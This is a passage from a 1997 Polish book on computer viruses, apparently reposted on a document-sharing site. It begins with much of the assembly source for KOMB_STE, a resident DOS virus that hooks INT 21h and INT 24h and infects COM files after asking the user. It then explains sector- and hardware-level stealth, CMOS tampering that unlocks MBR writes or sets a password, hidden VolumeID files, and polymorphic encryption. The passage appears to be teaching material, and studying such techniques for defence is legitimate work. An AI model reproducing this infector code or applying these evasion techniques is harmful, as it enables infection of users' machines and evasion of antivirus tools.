jb ZamknijPlik ; NIE - nie infekuj

sub ax,3 ; odejmij dlugosc skoku E9 ?? ??

mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku

lea di,TeZnalazlemPlik ; zapytaj uzytkownika

Call Druk ; czy chce zainfekowac

; plik

mov di,cs:StaryDX ; nazwa pliku jest

mov ds,cs:StaryDS ; wyswietlana

Call Druk ;

; - (dzieki temu uzytkownik

push cs ; / ma pelna kontrole nad

pop ds ; / tym co wirus infekuje)

lea di,TeInfekcja ; /

Call Druk ; /

Call Decyzja ; /

jc ZamknijPlik ; / CF=1 uzytkownik nie pozwala

mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow

mov dx,100h ; podaj skad zapisac wirusa

mov ah,30h ; funkcja DOS - zapisz do pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad

xor cx,cx ; zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem poczatku pliku

mov ax,4200h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na poczatek pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1 to blad

mov cx,3 ; ilosc zapisywanych bajtow

lea dx,Skok ; podaj skad zapisac rozkaz skoku

mov ah,30h ; funkcja DOS - zapisz do pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad

mov cx,Czas ; przywroc czas

mov dx,VZnacznik ; zaznacz w dacie infekcje pliku

mov ax,5701h ; funkcja DOS - wpisz date, czas

Call StareInt21 ; wywolaj stare przerwanie 21h

ZamknijPlik:

mov ah,3Eh ; funkcja DOS - zamknij plik

Call StareInt21 ; wywolaj stare przerwanie 21h

PrzywrocAtrybut:

mov cl,cs:Atrybut ; podaj stary atrybut

mov ch,0 ; CX=CL

mov dx,cs:StaryDX ; podaj nazwe pliku do zmiany

mov ds,cs:StaryDS ; / w DS:DX

mov ax,4301h ; funkcja DOS - zmien atrybut

Call StareInt21 ; wywolaj stare przerwanie 21h

Call PrzywrocStare24

pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry

PowrotZInt21:

db 0EAh ; mnemonik rozkazu skoku JMP FAR

Stare21Ofs dw ? ; z tych pol korzysta skok

Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego

; elementu lancucha przerwan INT 21

StareInt21:

pushf ; symuluj wywolanie przerwania

Call dword ptr cs:[Stare21Ofs] ; / wyowlaj stare przerwanie

ret ; powroc z wywolania

UstawNowe24:

push ds es ax bx dx ; zachowaj zmieniane rejestry

mov ax,3524h ; pobierz stara i ustaw

Call StareInt21 ; nowa procedure obslugi

mov cs:Stare24Seg,es ; przerwania krytycznego

mov cs:Stare24Ofs,bx ; INT 24h w celu ochrony

; przed ewentulanymi bledami

push cs ; / (np; podczas proby zapisu

pop ds ; / na zabezpieczona przed

lea dx,NoweInt24 ; / zapisem dyskietce nie

mov ax,2524h ; / zostanie wywolany dialog

Call StareInt21 ; / ARIF)

pop dx bx ax es ds ; przywroc zmieniane rejestry

ret ; powroc z wywolania

PrzywrocStare24:

push ds ax dx ; zachowaj zmieniane rejestry

lds dx,dword ptr cs:Stare24Ofs ; przywroc stare przerwanie

mov ax,2524h ; - INT 24

Call StareInt21 ; /

pop dx ax ds ; przywroc zmieniane rejestry

ret

DrukSI: ; procedura wyswietla tekst z

; CS:[DI+SI]

add di,si ; tekst w DI, dodaj SI

Druk:  ; procedura wyswietla tekst z

; CS:[DI]

push ax di ; zachowaj zmieniane rejestry

DrukPetla:

mov al,[di] ; pobierz znak

or al,al ; czy koniec tekstu (znak=NUL) ?

jz DrukPowrot ; TAK - koncz pisanie

mov ah,0Eh ; funkcja BIOS - wyswietl znak

int 10h ; wywolaj funkcje

inc di ; zwieksz indeks (na nastepny znak)

jmp short DrukPetla ; idz po nastepny znak

DrukPowrot:

pop di ax ; przywroc zmieniane rejestry

ret ; powrot

DrukHEX16: ; drukuje liczbe heksalna z AX

push ax ; zachowaj AX (dokladniej AL)

mov al,ah ; najpierw starsza czesc

Call DrukHex8 ; wyswietl AH

pop ax ; przywroc AX (dokladniej AL)

; i wyswietl AL

DrukHex8: ; drukuje liczbe heksalna z AL

push ax ; zachowaj AX (dokladniej 4 bity AL)

shr al,1 ;

shr al,1 ; podziel AL przez 16

shr al,1 ; / czyli wez 4 starsze bity AL

shr al,1 ; /

Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej

pop ax ; przywroc AX (dokladniej 4 bity AL)

and al,15 ; wez 4 mlodsze bity AL

; i wydrukuj czesc liczby szesnastkowej

DrukHex4:

cmp al,10 ; konwersja liczby binarnej

jb Cyfra09 ; na znak

add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na

Cyfra09: ; / '0'..'9', 'A'..'F'

add al,'0' ; /

mov ah,0Eh ; funkcja BIOS - wyswietl znak

int 10h ; wywolaj funkcje

ret ; powrot

Decyzja: ; pobiera z klawiatury

mov ah,0h ; znak i sprawdza czy jest

int 16h ; to litera 'T'lub 't'

and al,0DFh ; jesli tak, ustawia CF=0

cmp al,'T' ; jesli nie, ustawia CF=1

clc ; /

je DecyzjaTak ; /

stc ; /

DecyzjaTak: ; /

ret ; /

NoweInt24: ;

mov al,3 ; sygnalizuj CF=1, gdy dowolny blad

; nie wywoluj ARIF

iret ; powrot z przerwania

TeCopyRight db CR,LF,'KOMB_STE v1.0, Autor : Adam Blaszczyk 1997',NUL

TeInstalacja db CR,LF,'_ Zainstalowac KOMB_STE w pamieci operacyjnej (T/N) ?',NUL

TeBylZainstalowany db CR,LF,'_ KOMB_STE jest juz w pamieci !',NUL

TeZainstalowany db CR,LF,'_ KOMB_STE zostal zainstalowany w segmencie : ',NUL

TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : '',NUL

TeInfekcja db ''',CR,LF,' Czy chcesz sprobowac zainfekowac go wirusem KOMB_STE (T/N) ?',NUL

StareBajty db 0CDh,20h,90h

Skok db 0E9h

KoniecWirusa:

Skok2 dw ?

StaryDS dw ?

StaryDX dw ?

Atrybut db ?

Czas dw ?

Stare24Ofs dw ?

Stare24Seg dw ?

KOMB_STE ends

end start

7.1.3. Podawanie prawdziwej zawartości sektorów (ang. sector level stealth

Oczywiście, technikę stealth można stosować także w przypadku odczytu sektorów; należy przejąć obsługę funkcji (02/13) oraz ewentualnie (0A/13). W momencie próby odczytu zarażonego MBR lub BOOT-sektora wirus podsuwa programowi odczytującemu ich oryginalna, nie zainfekowaną zawartość (podobnie jak w przypadku plików, sektory zainfekowane muszą być w jakiś sposób oznaczone, żeby wirus mógł je rozpoznać). Aby ustrzec się przed programami umożliwiającymi odświeżenie tablicy partycji lub BOOT-sektora, można dodatkowo zabezpieczyć sektory zawierające wirusa przed zapisem poprzez przejęcie funkcji (03/13) i ewentualnie (0B/13).

7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań sprzętowych (ang. hardware level stealth

W przypadku sektorów istnieje możliwość zastosowania tzw. techniki hardtvare level stealth, która jest rozszerzeniem metody opisanej w poprzednim punkcie. Technika ta polega na przechwyceniu odwołań do dysków już na etapie przerwania sprzętowego IRQ 14 (INT 76h) lub poprzez przejęcie wywoływanej przez to przerwanie funkcji (9100/15h), co umożliwia oszukiwanie systemu na najniższym poziomie programowym- Podczas obsługi tego przerwania lub funkcji wirus może odczytać z portów lFx dane o aktualnie wykonywanej operacji i następnie, w razie wykrycia odwołania np. do MBR, zmienić rozkaz tak, aby odczytywać inny sektor, zawierający prawdziwą zawartość MBR.

Sprawdzenie aktualnie wykonywanej operacji polega na odczycie baj-tu z portu 1F7 (rejestr statusowy IDE) i przetestowaniu bitów jego młodszej części. Jeżeli któryś z nich jest ustawiony (tzn. ma wartość l), oznacza to, iż właśnie jest wykonywana operacja odczytu. Parametry odczytywanego sektora (cylinder, głowicę, sektor) można odczytać z portów 1F3, 1F4/1F5/1F6. Jeżeli odczytane dane są zgodne z oczekiwanymi, wirus musi wykonać do końca operację odczytu oraz ustawić dane w portach kontrolera na inny sektor (np. na taki, w którym znajduje się oryginalna zawartość odczytywanego sektora).

W efekcie program antywirusowy, który używa do odczytu sektorów bezpośredniego adresu przerwania int 13h, zawartego w BIOS-ie, i tak będzie oszukiwany przez wirusa. Aby technika hardware level stealth zadziałała, sterownik dysku musi generować IRQ14 (co można ustawić programowo) przy realizacji operacji dostępu do dysku.

7.2. ModyfikacjaCMOS-a

Nowoczesne BIOS-y zawierają mechanizmy zabezpieczania niektórych newralgicznych sektorów przed zapisem (MBR, BOOT-sektory). W momencie wykrycia próby zapisu do któregoś z tych sektorów system najczęściej w jakiś sposób alarmuje użytkownika i czasem prosi go o potwierdzenie wykonywanej operacji lub też, aby kompletnie uniemożliwić tę operację, zawiesza komputer i czeka na naciśnięcie klawisza RESET.

To, czy BIOS będzie reagował na próby zapisu do newralgicznych sektorów, ustalane jest zwykle z poziomu programu SETUP, który dostępny jest po naciśnięciu jakiegoś klawisza (najczęściej DEL lub CTRL-ALT-ESC) podczas uruchamiania komputera. Ustalone w programie SETUP parametry są po jego opuszczeniu zapisywane do podtrzymywanej baterią pamięci CMOS.

Korzystając z tego, iż pamięć ta dostępna jest programowo, można zmodyfikować pewne dane, tak aby np. na chwilę odblokować zapis do MBR. Wymaga to jednak znajomości różnych systemów BIOS, gdyż znajdująca się w nich pamięć CMOS ma zazwyczaj zawartość odmienną od pamięci w innych komputerach, a jej zgodność ogranicza się do ustalonego znaczenia początkowych komórek tej pamięci (co jest konieczne ze względu na kompatybilność).

Drugim parametrem możliwym do zmodyfikowania w CMOS-ie jest wartość określająca, jakie napędy dyskietek zamontowane są w komputerze. Wirus może wyzerować tę wartość, tak iż przy starcie BIOS nie będzie widział żadnej dyskietki i będzie próbował załadować system z twardego dysku (z MBR), razem ze znajdującym się w nim wirusem. Po załadowaniu wirus przywraca parametry dyskietek w CMOS-ie i następnie sprawdza, czy napęd FDD zawiera dyskietkę i ewentualnie wczytuje z niej BOOT-sektor, po czym oddaje do niego sterowanie.

Zainstalowany w systemie wirus przy odwołaniach do dyskietek ustawia parametry w CMOS-ie, a po ich zakończeniu znowu je kasuje, tak więc po wyłączeniu komputera parametry w CMOS-ie będą najczęściej skasowane. Takie działałanie dość mocno utrudni załadowanie systemu z czystej dyskietki, zwłaszcza jeśli wirus potrafi także zainstalować w pamięci CMOS hasło, uniemożliwiające przeciętnemu użytkownikowi dostanie się do programu SETUP.

7.3. Atrybut etykiet dysku (ang. VolumeID)

Do ukrywania się w systemie niektóre wirusy wykorzystują fakt, iż programy przeglądające zawartości katalogu (typowe nakładki lub polecenie DIR) nie pokazują zwykle pozycji katalogu zawierających atrybut VolumeID (etykieta dysku). Wirusy dodają do dotychczasowych atrybutów pliku, zawierającego np. kod wirusa, także wyżej wymieniony atrybut (np. poprzez wykorzystanie omówionych wcześniej tablic SFT). Tak ukryty plik będzie widoczny najczęściej tylko w tzw. edytorach binarnych, operujących na zawartości fizycznych sektorów (np. Disk Editor).

Ta sztuczka nie wymaga instalowania w systemie żadnego rezydent-nego kodu, gdyż niewidzialność zagwarantuje sam system DOS.

7.4. Dodatkowe ścieżki na dyskach

Ze względu na to, iż wirusy zarażające sektor MBR lub BOOT-sektory są programami zajmującymi zwykle obszar będący wielokrotnością kilku sektorów, twórca wirusa musi podjąć decyzję, gdzie umieścić wirusa po infekcji.

Nie mogą to być sektory wybrane na chybił trafił, gdyż ich zamazanie kodem wirusa może zniszczyć dane, ważne dla działania systemu. Większość wirusów dopisuje się na początku dysku, w obszarze pierwszego cylindra (bezpośrednio za tablicą partycji). Tylko nieliczne wirusy potrafią lepiej ukryć swój kod przed programami antywirusowymi. Korzystając z tego, iż większość dysków posiada więcej sektorów niż liczba widziana przez system BIOS, wirusy doformato-wywują sobie dodatkowe używane sektory, po czym je wykorzystują.

kodu wirusa. Jedyną wadą tradycyjnego szyfrowania była konieczność pozostawienia nie zakodowanej procedury dekodującej, co w pewnym sensie skazywało wirusa na rychłe wykrycie, gdyż nawet kilkubajtowy kod takiej procedury stanowił w zasadzie sygnaturę wirusa, umożliwiającą jego identyfikację. Aby ominąć tę przeszkodę, zaczęto rozważać możliwość stworzenia generatora procedur dekodu-jących, które różniłyby się rozmieszczeniem i doborem instrukcji, rejestrami roboczymi oraz sposobem deszyfrowania. Przejście od teorii do praktyki stało się możliwe wraz z pojawieniem się MtE, który choć pierwszy, do dziś uznawany jest za generator produkujący jedne z najbardziej zmiennych i wyszukanych (ang. sophisticated) procedur

dekodujących. O stopniu skomplikowania wirusa szyfrującego swój kod decydują

dwie poniższe procedury:

> procedura generująca szyfrator (ang. encryptor);

> procedura generująca dekoder (ang. decryptor).

W zależności od ich skomplikowania można wyróżnić wirusy, które

zawierają:

> stały szyfrator + stały dekoder - kod wirusa wraz z dekoderem za każdym razem wygląda identycznie (z dokładnością do kodu wirusa i pominięciem zmiennych zapamiętywanych wewnątrz wirusa); wykrywanie wirusa przebiega identycznie jak w przypadku wirusów nieszyfrowanych;

> stały szyfrator + zmienny dekoder - raczej rzadko stosowany;

jeżeli ktoś potrafi zastosować zmienny dekoder, zwykle tworzy także zmienną procedurę szyfrującą;

> zmienny szyfrator + stały dekoder - kod wirusa za każdym razem wygląda inaczej, dekoder jest zawsze taki sam; wykrycie procedury dekodującej wykrywa również wirusa;

> zmienny szyfrator + zmienny dekoder - kod wirusa wraz z dekoderem za każdym razem wygląda inaczej; są to tzw. wirusy

polimorficzne



Politica de confidentialitate | Termeni si conditii de utilizare



DISTRIBUIE DOCUMENTUL

Comentarii


Vizualizari: 633
Importanta: rank

Comenteaza documentul:

Te rugam sa te autentifici sau sa iti faci cont pentru a putea comenta

Creaza cont nou

Termeni si conditii de utilizare | Contact
© SCRIGROUP 2024 . All rights reserved